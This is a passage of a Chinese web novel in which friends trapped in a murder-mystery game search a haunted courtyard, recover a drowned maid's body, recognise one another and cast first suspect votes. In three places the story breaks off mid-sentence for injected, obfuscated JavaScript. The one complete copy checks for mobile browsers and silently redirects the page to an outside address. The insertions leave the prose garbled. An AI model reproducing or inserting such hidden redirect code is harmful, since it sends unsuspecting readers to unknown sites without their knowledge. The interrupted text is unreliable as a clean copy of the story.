“应该是和我的眼睛融为一体了。” “啥?” 冷砚冰解释道:“或者说,是嵌入到我的眼睛里了。我现在裸眼就是戴上夜视镜的效果,现在对于我来说就像白天。” “这么神奇?” 沈南南突然有些兴奋,迫不及待地看向另外两个道具,嘴里小声念叨着:“随缘见喜,逢凶化吉……狄公重生,宋慈再世……” 她忽得想起方才那只黑猫。 “要不我还是选这个锦囊吧。”从她刚进入西院,便觉得哪里不太对劲。 池水将西院三间房屋包围,宛若囚室。整个西院不仅是阴森,更让人感到一种喘不过气的压抑。 对她来说,现在保命最重要。 沈南南手伸到荧幕中心那月白色锦囊之下。 锦囊旋转,忽得向下坠落,然而并未有任何实体触碰到沈南南的掌心,一阵暖风拂过,吹开了她额上的碎发,眉心渐渐浮现出一朵淡黄色的花钿,却又转瞬即逝。 “有什么不一样吗?”冷砚冰问。 沈南南等了又等,除了感到一阵暖流拂过全身之外,自己的身体和之前并没有什么不同,颇为失望地摇了摇头:“啥也没有。” 冷砚冰诧异道:“奇怪了,我刚好像看到你额上有一朵花,但是现在又没了。” “真的吗?”沈南南飞快地伸手摸了摸自己的额头。 冷砚冰点头“嗯”了声。 沈南南失望地叹了口气:“算了,别管这个了,说不定这就是个不管用的平安符。”摸了摸身上的荷包,“突然想起我荷包里还有这个。” 竟找出一个火折子。 “这不是古代打火机吗?”冷砚冰惊奇道,“你会用吗?” 沈南南凭着记忆把火折子的盖子打开,往里吹了一口,果然那当中火星子燃了起来。 冷砚冰从一旁的案几上拿过来一只烛台:“点上吧。” 沈南南举着点燃的烛台,和冷砚冰分头开始搜证。 借着火光,隐约能看清这屋子的构造。 正屋由左右两盏屏风隔开,左侧是一副荷塘晓月,右侧则是雪中寒梅。 左侧是姨娘安寝之处,设有黄花梨木的梳妆台、衣橱,正中最显眼的,便是一张雕刻极尽繁复奢华的金漆花鸟纹拔步床;外间则是会客的两排扶手椅。 右侧屏风之后,则有一张金丝楠木的书案,其后的书架上多有藏书。窗边的花几上,摆放着一盆盛开的墨兰。 “这柳姨娘,瞧着竟也是个喜好风雅之人。”沈南南将烛台放在书案上,随手拿起书架上的书翻看起来。 刚翻了几页,脸色顿时涨得通红,“刷”地一声将书迅速关上,撇嘴道,“当我没说。” “怎么了?” 冷砚冰本在外间,正欲往那左侧里间去,听见声响,挪步过去。 沈南南将那书举到冷砚冰面前:“你看——” 冷砚冰此刻目光如炬,一眼便看见那几个大字——窃香记。 一旁另有一行小字:渝州笑笑生著。 “这么巧?”冷砚冰忍俊不禁。 “可不嘛。”沈南南嗤笑一声,“没想到灵灵这书卖得还挺好。” 冷砚冰从沈南南手里拿过那书,随意翻看起来:“还是秘戏图版。” “别看了。”沈南南一把将书夺了过来,严肃制止,“你也想长针眼?” “不想。” 沈南南颇为欣慰地看了她一眼,准备将那本“烫手”的《窃香记》放回去,却发现冷砚冰已经走到书架旁,将几本书拿起来,仔细地翻看着。 “这里面有东西吗?”沈南南问。 “应该有。”果不其然,几本书中竟然夹着几封信件。 两人将其拆开来一看,竟然是柳姨娘和晦明来往的书信,言辞中也尽是些“思慕之情,悬悬不忘”“只盼相约” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈南南眉头皱起:“你是说,这信是假的?” 冷砚冰摇摇头:“现在还不能确定。” “其实我一直觉得很疑惑,你说当时柳姨娘被五花大绑着,哪有时间给顾员外下毒?虽说是她早先备下的毒药,但怎么能够准确无误地下到茶水之中呢?” “据顾府的管家和夫人说,当时顾员外和夫人正在审问柳姨娘,顾员外喝的,正是丫鬟端上来的两盏新沏的茶。林叔验过,两杯茶中均有剧毒。” 冷砚冰口中的林叔,乃是衙门唯一的仵作,林白术。林白术在衙门应役已近二十年,经验丰富,略通岐黄之术,且为人正直和善,衙门中人除县太爷外都称他一声“林叔”。 林白术有个女儿,名叫林冬青,自小便和沈南南、杨灵灵熟识,后又通过沈南南结识了冷砚冰,几人也时常玩在一处。林冬青如今在外云游行医,暂曾归乡。 “这丫鬟倒也挺可疑。”沈南南皱了皱眉。 冷砚冰道:“的确。只是当晚讯问时,那丫鬟说她毫不知情,且柳姨娘对下毒之事供认不讳,我们便没再追问。” “那丫鬟也并不能完全摆脱嫌疑吧。”沈南南眉头拧成川字,“只怕是两人合谋,但是柳姨娘想一人揽下罪责,可她为什么要这么做啊?” 冷砚冰也想不明白,只说:“再找找看其他线索吧。” 于是两人分开,各自在房中搜证。 沈南南继续留在书房,而冷砚冰往那荷塘晓月的屏风之后走去。 冷砚冰早就注意到了那屏风后浮现的蓝色放大镜图标,直直走过去,见那图标漂浮在左侧的梳妆台上。 伸手摸了摸毫不染尘的梳妆台,眼风扫过台上钗环首饰、胭脂水粉。 在她眼中,此刻的景象宛如白昼,一切细微的隐秘都无处遁形。 角落一盒胭脂的盖子有些微的移动,并没有完全地合上。而那胭脂盒旁,一只精巧的唇刷轻轻地倚靠着。冷砚冰将盖子打开,看到了与那只唇刷上同样的膏体。 这并不奇怪。 怪就怪在,那只唇刷所沾染上的膏体,还湿润着。 有人……刚刚动过? “南南,你过来看。” 可房间内却静谧异常。 冷砚冰以为沈南南没听见,快步过去寻她,穿过那展雪中寒梅的屏风,却见沈南南背对着她立在窗边,像是被人施了定身咒般,一动也不动,口中如呓语般小声念叨着: “玉带割脚……血,血盆照镜,以成阴煞之势……” “南南,你怎么了?”冷砚冰轻声唤她。 沈南南伸出颤抖的手指着窗外,声色异常沙哑:“砚冰,你看那是什么……” 她瞳孔放大,像是见到了什么令她惊惧万分的东西。 冷砚冰循着沈南南所指的方向看去—— 窗外是那围着三间屋子的池塘。 池水中除了些许飘散的落叶,月色昏暗,沈南南或许只看到一个不真切的黑色物体在水中漂浮着。 但冷砚冰一眼便认出,那是一个身穿红色衣衫的——人! 7. 捞浮尸 “东为木位,主母所居,本合‘震木生发’,然西院金位被池塘环绕,以成血盆照镜之囚室。前后院以水相隔,成“玉带割脚”之凶局,后院阴气反扑。” “水流自西向东、逆势而流成直泄之态,主家财富外流、子嗣艰难,又汇聚西院形成“金寒水冷”之相,囚室汇聚阴煞之气,阴气借水反噬家宅。” “东侧仆人所居压“青龙抬头”之位,以致“木气郁结”,家仆叛主……” 沈南南口中飞快地念着,眉心那朵淡黄色的花钿忽闪。 冷砚冰听了个大概,却抓住其中关键:“你怎么秒变风水大师了?” 沈南南茫然地摇了摇头:“我也不知道,刚才我从窗外望出去,脑子里就浮现出整个顾府的格局,这些话自己就跑出来了。” “是因为那个锦囊吗?”冷砚冰指了指沈南南的眉间,“刚刚你额上那朵花又出现了。” 沈南南没有最初的兴奋,神色恹恹地道:“多半是吧,我之前也不懂风水啊。” 她的眼神不自觉地看向那湖中的黑色漂浮物,又环顾整个房间:“刚进来的时候,我就觉得这里阴森森的,这里面不会有什么我们看不到的……东西吧……” “不会吧,别自己吓自己。”冷砚冰宽慰道,眼神瞥向湖中的尸体,“我们还是赶快出去吧。” 即便沈南南腿直发软,还是跟在冷砚冰身后,从正屋里出来,绕到离那漂浮物最近的岸上。 “南南,我们得想办法把那个人捞上来。” 冷砚冰音色平静得像是在说一会儿要去哪儿吃饭。 沈南南一脸错愕地“啊?”了一声。 冷砚冰解释道:“刚才忘了和你说,我发现带上这个夜视镜之后,重要线索上就会出现一个放大镜图标。”又指了指湖中的漂浮物,“那个人上面也有。” 沈南南闻言,瞳孔瞬时放大:“等等,你的意思是,那是个人?!” “严格来说,应该只是一具尸体。” “然后我们还不得不把它打捞上来……”话未说完,沈南南已经陷入了巨大的恐惧之中。 冷砚冰见她面色惊恐,破为难地“嗯”了一声,又安慰道:“别怕,这只是个游戏。” 半晌后,沈南南才咬了咬牙,回了声:“行,行吧。” 环顾四周,见岸边一棵歪脖子柳树下,正巧停放着一只木船。 冷砚冰小心翼翼地跳上船,又伸手将沈南南扶了上来,待保持平衡后,两人合力向那具尸体划去。 有冷砚冰在,沈南南此时还能强撑着保持清醒,机械地跟随着冷砚冰的动作不断划着桨,强迫自己不去想象那具浮尸的模样。 或许真如冷砚冰所言,这只是个游戏,尸体应该是假的吧。 然而当她们的小船离那尸体越近,空气中一股恶臭便愈加明显。 游戏而已,真的有必要这么逼真吗? 她已经无法想象自己接下来将要面对的是什么了。 在逐渐逼近这具浮尸的过程中,冷砚冰一直在想着如何将其打捞上来。 虽说她劝慰沈南南这只是游戏,但从她们在杨灵灵家里吃的第一顿饭起,她就知道,这个世界不只是游戏这么简单。 她们有真实的五感,眼前所见所闻不可谓不真。若没有系统提示,没有现实世界的记忆,或许她也以为,眼前的一切就是真实。 只能说,这个游戏世界的现实模拟实在是太强大了。 如此便意味着,皆下来,要获取重要线索,她和沈南南就不得不去触碰那具和现实世界相差无几的浮尸——仰面朝上,散发着恶臭,且已被泡得发白且肿胀。 她们将船停在那具尸体身侧,冷砚冰抬眼看去,见沈南南双目已近失焦。 可此时离搜证结束只怕没剩多少时间了。 再害怕,再觉得恶心,也得动手。 冷砚冰忍住强烈的不适感,缓缓站立,伸出手拉住那具尸体的上臂,想要将那人捞起。 可那尸体泡了水,其重量令冷砚冰有些诧异。在她记忆中,自己一人单手将一个烂醉如泥壮汉从地上拉起,也并非难事。 冷砚冰迟疑片刻:“南南,可能需要你搭把手。” 沈南南回神,虽说在划船过来的过程中,她不断地做着心理建设,可当她亲眼看到那具尸体的模样时,已经不知作何反应了。 听到冷砚冰唤她,这才强迫自己颤巍巍地伸出双手,心下一横,尽量让自己不去感受触碰到的任何事物,一下拖住了水中那人的腿部,协助冷砚冰一点点地将其往小船上拖。 尸体的上半身已被冷砚冰拖上船,只差腿部再用些力。 沈南南微微站起身来,想要更好地使出些力气,尽量让自己视线往上,越过那具浮尸。 猛然间,却瞥见那正屋的窗前—— 月光下,那盆盛开的墨兰旁,此刻竟站着一个女子。她背后书案上的烛火摇曳着,映照出殷红衣衫的轮廓。 忽地一阵阴风乍起,昏黄的烛火熄灭,那身红衣霎时不见了踪影,然而沈南南眼光下移,那抹红色却又像是瞬移到了眼前。 下一瞬,她惊叫着,忘记了保持小船的平衡。 小船猛然晃荡,然而冷砚冰正双手拉住那具尸体,还未能腾出一只手来,只能眼睁睁地看着沈南南身子向.右.倾倒,掉进了池水之中。 “南南!” 冰冷且带着腥臭味的池水将沈南南吞没,水面之上是冷砚冰的叫喊。 沈南南紧闭双眼,脑内却异常清晰,自动浮现出一段文字: 须臾风起灯忽无,人鬼尸棺暗同屋。[1] 此情此景,没有比这句诗更贴切的了,但似乎也在向她透露着别的什么信息。 身体沉入水中,待那冰冷的池水即将灌入她的口鼻,眉间花钿却忽得闪烁出耀眼金光,从中绽放出的每一道光芒都化作根根细密的环形金丝,在她周身逐渐组成一个闪耀着淡金色光晕的透明屏障。 想象中的窒息感并未袭来。 她缓缓睁开双眼,竟见冰冷、腥浊的池水完全被那透明的屏障隔绝在外。 她的身体开始缓缓上浮。 有一只手忽得伸入水中,循着水下的光芒探寻着:“南南!” “我在这儿!” 沈南南回应着,伸手握住冷砚冰的手。在两人双手相握的一瞬,淡金色的光晕忽得向外扩展,旋即,一阵刺眼的强光向外射出,眼前只剩一片耀眼的纯白,令她二人只能紧闭双目。 然而身体却变得无限轻盈,好似升上空中,继而又缓缓落下。 待再次睁开双眼时,惊觉自己竟然已经回到了方才上船的岸边。 沈南南惊魂甫定,拍拍胸脯,正松了一口气,然而垂下眼,却猛地看见,那具浮尸竟赫然出现在自己脚边的草丛中。 沈南南眼前一黑,差点没站稳,恰好被一旁的冷砚冰扶住。 “南南,你没事吧?” 沈南南摇了摇头,喘了两口气:“没事没事。” 经历了方才这一遭,她不禁感叹,看来这锦囊还真被她选对了。若没有锦囊这护身符功能,只怕她的小命今日便要交代在这里了。 见沈南南无事,冷砚冰蹲下身来,仔细地对着那浮尸看了半晌。 她只能通过那尸体的发髻和衣服,大致辨别出应当是这府中的婢女,但其余更多的也再瞧不出来了。 “上面没有提示吗?”沈南南问。 冷砚冰摇头:“没有,刚刚我们划船过去,一靠近尸体,那个蓝色放大镜图标就消失了,我也不会验尸。” 沈南南忽然想起剩下的那个道具来:“原来那本《洗冤集录》是用在这儿。”又颇为遗憾地叹了口气,“要是灵灵也在就好了。” 话音未落,只听两声“布谷布谷”,系统提示音响起。 【集中搜证阶段结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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指了指身边提灯笼的两人,吩咐他二人进去将灯点上,又对剩下的衙役道: “剩下的人,全部给本官去顾府仔仔细细地搜查,犄角旮旯都不要放过,找到有用线索的,重重有赏!” 只听列队一声整齐地喊了声:“是!”转身跑步往门外散去。 两个衙役点完灯出来,借着屋内的灯光,沈南南这才看清,原来西院正屋的匾额上,赫然写着三个大字——暗香阁。 【即将进入集中推理环节,倒计时3分钟,现已开启地图禁制,未进入搜证地图的玩家不可进入暗香阁参加首次集中推理。】 沈南南凑近,对冷砚冰低声道:杨灵灵怎么还没来? 冷砚冰摇了摇头,又见县太爷又对点灯的两个衙役道:“你两个几个,先在门外守着,本官和冷捕头、沈师爷有要事相商,没有本官的允许,谁都不许进来!” 冷砚冰和沈南南一头雾水,不知县太爷有何事要吩咐,只依言跟在他后面,刚跨了门槛进去,身后两个衙役已经自觉地将房门关上。 县太爷站在房中,背着手背对着她们,不知道在琢磨些什么,半晌也不说话。 沈、冷二人皱着眉头,交换了一个疑惑的眼神:这老头儿葫芦里卖什么药呢? 整个房中鸦雀无声,忽然间,系统的少女音出现: 【首次集中推理环节开始啦!时限30分钟,30分钟后将进行初次凶手指认哦。】 系统话音刚落,只见县太爷忽地广袖一甩,猛然转过身来,原本冷峻严肃的脸上现下已是眼含热泪。 沈南南一脸错愕:“大人……您这是怎么了?” 听到这个称呼,县太爷苦涩地扯起嘴角笑了一声,圆润的脸上忽得划过一行清泪: “别这样叫我……我真的累了……” 县太爷竟然在她们面前……哭了? 啥情况? 难道是这两天案子太多,压力太大了? 沈南南和冷砚冰大眼对小眼,皆是一脸不知所措。 “是我——小西,301的小西啊!” 县太爷那张涨得通红的圆脸上,一双湿漉漉的圆眼竟流露出少女般的委屈和无奈。 ———————————— [1]【清】师道南《死鼠行》 8. 泪相认 301,听起来像是宿舍的门牌号。 沈南南和冷砚冰想起,她们在学校时住在305宿舍,一层楼里正好有个301宿舍。 而301宿舍里,恰好有一个小西,平时爱和她们一起吃吃喝喝、泡图书馆、玩儿剧本杀! 透过县太爷那涨得通红的圆脸,沈南南和仿佛看见了小西那明亮的双眼、高挺的鼻梁、乌黑的长发以及小麦色的健康肤色。 县太爷张顺才竟然就是她们的朋友小西! 沈南南缓了好一阵,这才道:“难为你了小西,竟然穿成了这么个已婚的老头……” 即便她现在热泪盈眶,也很想伸握住小西的手,奈何眼前县太爷那张圆脸实在是太过醒目,令她实在没办法上去和小西相拥而泣,只有赶忙自我介绍道:“我是305的小沈啊!” 冷砚冰也道:“我是小冷!” 305宿舍里也分别只有一个小沈和小冷。 “小沈!小冷!终于和你们相认了!” 冷砚冰盯着小西的脸,憋笑道:“演技还挺好啊西西,我们完全没认出来。” 县太爷张顺才,也就是小西,顺手抹了把脸上的泪,叹了一声: “哎,别提了,不是系统说了不能OOC吗?从大堂出来,我就去后院儿洗了把脸,没想到就都想起来了,当真是害苦了我!怎么不让我集中推理阶段再恢复记忆啊!我上班要装官老爷摆架子,下了班还要回去应付家里那个李大姐,真的快累死了。” 沈南南一边赞同地疯狂点头:“我也是这样想的!早知道集中推理阶段再恢复记忆好了。” 她瞧着张顺才那圆润的面容和身形,神态动作却和有着超模般样貌、身材的小西一般无二,实在是违和感、滑稽感强出天际,揶揄道: “所以这就是你今天下午不仅对我们凶巴巴的,还让我们走路,你一个人坐轿子的理由吗?” 小西连忙解释:“那不是没办法吗?我不能OOC啊,而且不可能让你们两个官娘子和我一个老头儿坐一个轿子吧,那也太不像样了。” “也太重了。”冷砚冰补充。 “的确。”沈南南点头,“对轿夫也太不友好了。”又道,“我还以为玩家和角色都是同姓且至少是相同性别的呢,现在看来也不一定。” “说起这个我就想吐槽。”小西一脸委屈,“怎么就我这么倒霉,我看你俩这形象都挺优秀的啊,而且角色性格和你们本身也相差不大,怎么就我穿的这个这么离谱。” 沈南南踌躇片刻,伸手拍了拍小西的手臂:“没事儿,你可是县太爷耶,本县最大的官!” 小西忙摆了摆手,嫌弃非常:“还是别了吧,封建社会的旧官僚有什么好当的。” 又道,“为了入戏,我随时随地都在做心理建设。自己心里这关好不容易过了,又生怕被人看出来我不是张顺才。” “尤其是家里那个李大姐,你们都不知道她眼有多尖!就今天午饭的时候我多嚼了几下,竟然被她看出来了,问我怎么了。我突然想起来,张顺才年幼时是饿惯了的,所以养成了吃饭狼吞虎咽的习惯。我这才赶紧端起碗往嘴里扒拉,一顿饭差点给我噎死……” 沈南南对小西的遭遇深表同情,安慰了句,又一串连问:“对了小西,你是怎么认出我们的啊?我感觉我和砚冰演的挺好的啊,还有你刚刚为什么没来参加集中搜证啊?” 小西长叹一声,一脸无奈:“那不是李大姐管得严吗?死活不让我出门!就今天下午回去晚了点,差点被她骂惨了。” 转脸又一脸得意洋洋,“而且当然不是我认出来的,我用道具了!虽然我来迟了一个小时,可一直在顾府外候着呢。等系统一说搜证结束,马上就带着人冲进来了。集中搜证阶段虽然不能借助NPC力量,但没说其他环节不可以啊!” 沈南南对小西竖了个大拇指,冷砚冰在一旁附和:“真不错。” 沈南南有一连串疑问:“你也用道具了啊?可是你都没来搜证,怎么兑换的呢?你的积分又是怎么来的呢?” 沈南南怕小西听不明白,快速将方才在集中搜证阶段,她和冷砚冰各自兑换道具以及按照线索将浮尸打捞上来的事说了一遍。 小西长长地“哦”了一声:“原来还有积分商城还有便捷模式啊,我是在线下商城兑换的。那线下商城藏得真有够隐秘的,竟然是县衙花园墙角狗洞旁边的一块能互动的石头。” “李大姐说她那天逛花园丢了只耳环,要张顺才也就是我本人亲自帮她找呢,我不情愿地去花园找了半天,竟然被我发现了线下商城。” “至于积分嘛,就是下午在顾府遇上他家小少爷那会儿,系统要我完成一个关键剧情任务,我就急匆匆地走了,后来就有了一个积分,正好给用上了。” “那会儿我和砚冰也做剧情任务了!”沈南南疑惑不解,“难道系统提示音是同时出现,但内容不一样吗?” 小西点头:“应该是,我们几个人的剧情任务多半是分开的。而且我选的道具也是锦囊,但效果和小沈你选的完全不一样。” “看来那个锦囊是个盲盒。”冷砚冰总结了一句。 沈南南看着小西问:“那你那个锦囊是什么功能啊?我那个写的‘随缘见喜,逢凶化吉’。” “我这个写的是好像是叫‘随缘见喜,通晓众生’。” 小西激动道,“我正纳闷呢,然后系统就告诉我,这个副本里一共有四个玩家,分别是你们俩,我,还有杨灵灵,而且我们在现实中都是认识的朋友。我当时就想到,其余三个玩家肯定就是那天晚上和我一起玩儿剧本杀的几个,没想到还真是你们!” 又看了看门外,遗憾道,“就是不知道为什么杨灵灵没来?你们相认了吗?可这会儿也进不来了……” 沈南南叹了一声:“灵灵应该就是小杨,我们之前大致对了一下身份,但是怕系统觉得我们OOC,所以也不敢直接说出来。也不知道她去哪儿了,集中搜证阶段也没有来,不会是有什么别的剧情任务吧?” 小西推测:“有可能……” 话音未落,系统提示音又响起。 【小柳温馨提示:距离初次集中推理环节结束仅剩20分钟。】 “这么快!”小西被突然响起的系统提示音吓了一跳。 沈南南立马正色道:“咱们先别闲聊了,快快,我们每个人先说说目前都知道哪些信息。” 又自顾自地道,“我先来吧。” 沈南南将方才在暗香阁发现的信件从怀里拿出来给小西看。 好在有锦囊的保护,方才虽落了水,但怀中的信件未曾弄湿,只是衣袖和胸口在方才打捞浮尸时被池水浸泡,湿漉漉的。 沈南南推测道:“这几封信看上去虽然很真,但我和砚冰都觉得多半有问题。砚冰他们昨日搜查时没有发现,刚才竟被我们轻而易举地发现了,倒像是有人知道我们要留在顾府搜查,故意放在书里似的。” 小西将信拿在手里仔细读了,点头道:“确实太过明显了,这个证据。” “另外我刚刚仔细整理了一下在脑子里自动出现的信息……” 沈南南思索片刻,道,“大体上说,就是整个顾府的风水实在是不太好,尤其是后西院阴气最重,还有就是,住在前院东侧的仆人叛主,接下来怕顾府的仆人应该也是调查的重点。” 冷砚冰道:“听上去有些玄乎,有什么依据吗?” 沈南南摇了摇头:“我也不知道,就是锦囊里带的风水技能,虽然神神叨叨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439074|169344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,但信息多半还是有效的吧,好歹花了积分呢。” “还有就是那句‘须臾风起灯忽无,人鬼尸棺暗同屋。’刚才我们在打捞那具浮尸时,我看见暗香阁里突然出现了一个人影,但是蜡烛灭了之后,那人影又不见了……” 说到这里,沈南南忽得感到脊背发凉,双臂交叠抱于胸前,环视周围,见房中灯火通明,这才安心不少: “刚开始还以为是我看错了,但我感觉那句话也是因为锦囊的缘故才出现在我脑子里的,人、鬼、尸……除了那具浮尸,难不成真有鬼吗……” 沈南南打了个冷战,实在是不敢再推测下去,快速道了声:“我说完了。”又瞥了眼冷砚冰,站的离她近了些。 “听你这么说,我也觉得这里阴气重得很……”小西抱着手臂,用手掌使劲地摩挲了几下,想让自己暖和一些。 她见冷砚冰听了这些,面上竟丝毫没有害怕之意,又见冷砚冰个头比张顺才高出不少,且有一身高强武艺,一看就很有安全感,不觉也往她那边挪了挪。 冷砚冰敏锐地觉察到二人的举动,也不在意,接着沈南南的话道:“那我接着说吧。” “除了南南刚才说的柳姨娘和晦明的来往信件外,我还发现梳妆台上的胭脂被人动过。按照时间推测,应当是在我们进入暗香阁搜证之前,至于是谁动的就看不太出来了。还有那具浮尸,看衣着应该是顾府的丫鬟,其余的就没了。另外还有一些卷宗上记录的信息。” 冷砚冰看过卷宗后便很难忘记,径直复述道: “死者顾放,字茂林,年二十八,系顾家家主,家中女眷现有一妻一妾,唯有一独子顾延宗,今年三岁,乃妾室柳若月所生。” “柳若月,年二十,原是云韶院舞伎,调露九年,也就是五年前被顾员外纳入府中,两年后产下顾延宗。” “顾夫人梅澜漪,年二十三,系渝州首富梅相仕嫡长女,性情冷淡孤僻,据顾府下人们所说,顾夫人与妾室柳若月关系不睦,多年不曾往来。” “另外还有一个姨娘舒氏,江南人士,调露十年纳入府中,已亡故,没有过多记录。” 沈南南想起那句“家仆叛主”来,问道:“家中的仆人呢,有记录吗?” 冷砚冰摇摇头:“没有,仆人毕竟不是顾员外亲眷,卷宗上没有。” 小西托着下巴,沉吟片刻:“我记得顾放和张顺才见面时,不是带着顾府的管家,就是带着一个姓薛的护卫,这两个人会不会有点问题?” “薛护卫啊!”沈南南斩钉截铁,“这人肯定有问题。” “为什么?”小西问。 沈南南解释道:“就是今天下午系统要我们做的那个关键剧情任务,名字奇奇怪怪的,叫什么‘项庄舞剑,意在沛公’,我就趁砚冰给顾府小少爷舞刀时,套了顾夫人的贴身侍女珠儿好些话,那个珠儿话里话外都在称赞这个薛护卫,没想到不一会儿剧情任务就完成了,所以这个薛护卫肯定有问题!” 冷砚冰又问:“那管家呢?” “我记忆里他平时对顾放挺尊敬的。”小西回忆道,“对了,之前也不知从哪儿听说的,顾府的管家还是顾放的族弟啊,也不知道怎么就从亲戚成了下人了。” 沈南南笃定地道:“这一听肯定也有问题啊,下一轮重点搜查这两个人吧。也就是不知道这两人和柳姨娘有什么关系?” “先别说别的了,我突然想起我有重要信息给你们说。”小西突然灵光乍现,又赶忙问一旁的冷砚冰,“小冷,你都说完了吧?” 冷砚冰点头:“说完了。” “好,那我说了。”小西吞了吞唾沫,表情凝重,“我出来的时候,正巧遇上衙署出事儿了,那晦明法师不见了,柳姨娘也死在了牢里!” 9. 认真凶 “啊?” 沈南南和冷砚冰皆诧异万分。 小西连忙解释:“晚上我趁李大姐睡着,溜到前头来召集人手,没想到牢狱里的几个狱卒竟然都晕倒了,牢房里关着的人死的死,没得没。我留了林白术先在衙门里验尸,以防万一,一会儿再过来,没想到顾府这里又死一个人……” 小西皱着眉,苦笑一声,“你们说这真的是个一星的简单本吗?这都已经死了三个人了吧?” 沈南南弱弱地道:“但是任务好像只是说让找出杀害顾员外的真凶……那其他几具尸体是不是不用管了?” 冷砚冰冷静道:“任务里虽然没有提到其他死者,但这些尸体都是在顾员外死后不久相继出现在这里,肯定是重要线索。” “砚冰说得对。”沈南南从恐惧的阴影中恢复了些许理智,附和道。 小西想到自己还有信息没有说完:“对了,我今天下午从顾府出去,去了趟红袖招,你们猜我发现了什么……” “你还敢去红袖招?”沈南南睁大双眼,“被你家李大姐知道了那还得了?” “你们以为是我自己想去的啊?” 小西不敢想若此事被李大姐知道会有怎样的后果,“今天下午系统要我做的那个关键剧情任务就叫‘骑马倚斜桥,满楼红袖招[1]’。我都骑着马在桥边望着红袖招看了快一个多小时了,系统硬是不说完没完成,最后我就想,干脆硬着头皮进去算了。” 冷砚冰道:“那个时候,红袖招还没开门吧?” “确实。”小西道,“所以我就绕到了红袖招的后门,想着能不能趁人不注意溜进去。没想到竟然让我瞧见,红袖招的鸨母正地骂两个龟公。” “我过去盘问了几句,听那鸨母说,顾府的管家昨天晚上从红袖招请了十几个舞姬过去,然而宴席结束,一个叫红莲的舞姬却没有回来。顾府的管家一大早竟也来寻那舞姬,那鸨母气的半死,只当是那舞姬逃了出去,赶忙派了两个龟公去城门口打听,然而问了一上午,竟什么也没问到。问完了那鸨母的话,我的剧情任务就完成了。” 冷砚冰沉思片刻:“那个舞姬怎么会莫名其妙就不见了?如果城门口的差役没有看见,那多半就是还在城中。从顾府里出去,却没有回红袖招,那会去哪里?” 思索不得,三人这才想起,她们进入房间以来竟一直站着,此刻没了话要讲,才发觉到腿酸,于是各自找了张扶手椅坐下。 三人又大致理了一下案发当晚的时间线,发现除了县太爷参加了宴席外,冷砚冰和沈南南和顾府一案根本毫无关联。 县太爷酉时刚过便匆匆离席,而据顾府管家和夫人所述,顾员外毒发时,已是亥初时分。而玩家中仅剩的小杨,甚至始终游离在整个案情之外。 看来,杀害顾员外的凶手应该是NPC了。 莫非,这是个全员侦探本? 一时房中四下安静,系统的少女音忽然出现。 【集中推理环节结束啦!请玩家沈南南、冷然、张顺才依次进入右侧屏风之后,进行初次凶手指认,每人限时3分钟哦。初次凶手指认期间,玩家千万不要相互告知投送结果,违者将被扣除相应积分哦。】 三人偏头看去,透过那扇雪中寒梅的屏风,有淡蓝色的光芒伴随着提示音出现。 沈南南茫然地看向其余两人:“现在很多信息都还不知道呢,不清不楚的,怎么投啊?” 冷砚冰柔声建议:“先按你风水大师的直觉投吧,只是初次指认,也不会对最终结果有任何影响的。” “对,快去吧,每个人只有三分钟时间。”小西提醒道。 沈南南叹了口气,起身绕过屏风,只见空中果然又出现了一块淡蓝色的全息投影荧幕。 屏幕之上,分别出现了两排白底免冠角色证件照,每张证件照之下,用繁体小楷写着角色的名字和身份。 上面一排分别为杨灵灵(话本写手)、沈南南(县衙书吏)、冷然(县衙捕头)、张顺才(县令)。 下一排则是梅澜漪(夫人)、柳若月(姨娘)、珠儿(侍女)、薛仇(护卫)、顾敬(管家)、晦明(天心寺首座)。 屏幕的右上角,是投送时间的倒计时,目前显示为00:02:10。 两排角色照片的最下方,有一个写着“指认”的淡黄色选框。 【小柳温馨提示:请玩家点击屏幕上的角色照片后,点击“指认”选框,投出杀害顾员外的凶手。】 经过初步分析,已经将几个玩家排除在了凶手之外。 于是沈南南的视线落到第二排。 晦明的出现让她愣了一瞬。她们方才讨论了半天,除了小西告知晦明在牢里不知所踪外,几乎没有提到过晦明,似乎早已断定了晦明不是凶手。 而按照沈南南的风水大师技能给出的信息来看,姨娘柳若月阴煞之气很重,说不定真的就是凶手,还有顾府的几个家仆,侍女珠儿、护卫薛仇、管家顾敬,都有嫌疑。 信息太少,嫌疑人太多,沈南南又纠结了。 可投送倒计时仅剩一分钟了。 沈南南伸出右手食指,触碰到柳姨娘的照片,照片周围立即出现了一个淡黄色的外框。可她踌躇半晌,又在倒计时的最后三秒,选中了护卫薛仇,并飞快地点击了指认选框。 【恭喜玩家沈南南完成初次凶手指认,请玩家冷然进入右侧屏风之后,进行初次凶手指认,限时3分钟。】 沈南南疲惫地从屏风后面出来,抬眼见冷砚冰正往她这边走来,用眼神示意:“去吧。” 冷砚冰担心地看了她一眼,道了声“好”,绕到屏风后面。 这边小西刚和沈南南有些微眼神接触,挤眉弄眼地想要得知一些信息,却见冷砚冰已经出来了。 【恭喜玩家冷然完成初次凶手指认,请玩家张顺才进入右侧屏风之后,进行初次凶手指认,限时3分钟。】 “这么快!” 小西只好往屏风后面去。 3分钟很快过去,听到系统提示音说指认结束,接着小西也走了出来。 【恭喜玩家完成初次凶手指认!子时即将进入自由搜证环节,倒计时11分钟。】 【小柳提示:自由搜证环节为最后一轮搜证,该阶段内系统不会开启证据保护模式及搜证地图禁制,玩家可在世界内自由搜证,限时13个小时,午时正刻将自动进入最终集中推理及最终凶手指认环节。】 【自由搜证环节中,若玩家发现并拾取关键证据,小柳将会给予玩家相应积分奖励哦!】 